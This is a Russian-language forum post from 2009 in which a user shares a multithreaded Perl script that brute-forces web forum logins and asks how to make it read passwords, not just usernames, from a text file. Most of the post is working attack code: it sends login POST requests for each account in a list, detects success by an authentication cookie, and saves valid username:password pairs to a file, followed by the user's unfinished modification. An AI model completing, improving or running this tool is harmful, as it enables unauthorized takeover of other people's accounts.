Показать сообщение отдельно

  #7  
Старый 11.06.2009, 18:36
KNEII
Новичок
Регистрация: 07.06.2009
Сообщений: 1
Провел на форуме:
23900

Репутация: 0
По умолчанию

Имеется скрипт, хотелось бы сделать так чтоб пароли брались также как и логины из файла txt. Сам пытался сделать но не получается.

Сам скрипт:
Код:
#! /usr/bin/perl -w
use IO::Socket;
use threads;
use threads::shared;
use Fcntl ':flock';

$pwd	 =  shift || '123456'    	; #Пароль
$threads =  shift || 20		        ; #Кол-во потоков
$ml      =  shift || 'acc.txt'		; #Список акков
$fname   = 'good.txt'      		; #Валидные


my $i : shared = 0;
my @trl;
$| =1;

print "Loading...\n";

open (ACS, "<$ml") || die("Could not open acc list file!");
my @acc : shared = <ACS>;
chomp(@acc);
close(ACS);

$size = scalar @acc;
print  "Loaded: ".$size." accs.\n";

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{
	while(@acc)
	{	
		{lock(@acc);$acc = shift @acc;}
		my $sock = sock();
		
		my $data =
		"-----------------------------18847261322183\n".
		"Content-Disposition: form-data; name=\"username\"\n\n".
		"$acc\n".
		"-----------------------------18847261322183\n".
		"Content-Disposition: form-data; name=\"password\"\n\n".
		"$pwd\n".
		"-----------------------------18847261322183\n".
		"Content-Disposition: form-data; name=\"login\"\n\n".
		"Submit\n".
		"-----------------------------18847261322183--\n\n";
		
		my $re = 
		"POST HTTP/1.1\n".
		"Host: \n".
		"User-Agent: Mozilla/4.0\n".
		"Connection: close\n".
		"Referer: \n".
		"Content-Type: multipart/form-data; boundary=---------------------------18847261322183\n".
		"Content-Length: ".length($data)."\n\n".$data;
	
		print $sock $re; 
		read($sock,my $answ,10000);
		
		if($answ =~ /cdb_auth/)
			{
				print "[+] $acc\n";
				open(FILE, ">>$fname") || die("Could not open $fname\n");
				flock(FILE, LOCK_EX);
				print FILE "$acc:$pwd\n";
				flock(FILE, LOCK_UN);
				close(FILE);
			}
		{lock($i);$i++;}
		print "< ".sprintf("%.2f", ($i/$size)*100)."% >\r";
		close($sock);
	}
}

sub sock {
my $sock;
do {
	$sock = new IO::Socket::INET 
		(
		PeerAddr => '',
   		PeerPort => 80, 
   		PeerProto => 'tcp', 
   		TimeOut => 10
		) or print "Can't connect\n";
	} while (!$sock);
return $sock;
}
Точто сам сделал:
Код:
$pwd	 =  shift || 'pass.txt'    	; #Пароль
$threads =  shift || 20		        ; #Кол-во потоков
$ml      =  shift || 'acc.txt'		; #Список акков
$fname   = 'good.txt'      		; #Валидные


my $i : shared = 0;
my @trl;
$| =1;

print "Loading...\n";

open (ACS, "<$ml") || die("Could not open acc list file!");
open (PWD, "<$pwd") || die("Could not open pass list file!");
my @acc : shared = <ACS>;
my @pwd : shared = <PWD>;
chomp(@acc);
chomp(@pwd);
close(ACS);
close(PWD);


$size = scalar @acc;
$size2 = scalar @pwd;
print  "Loaded: ".$size." accs.\n";
print  "Loaded: ".$size2." pwds.\n";

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }
Дальше не могу сообразить что делать.
 
Ответить с цитированием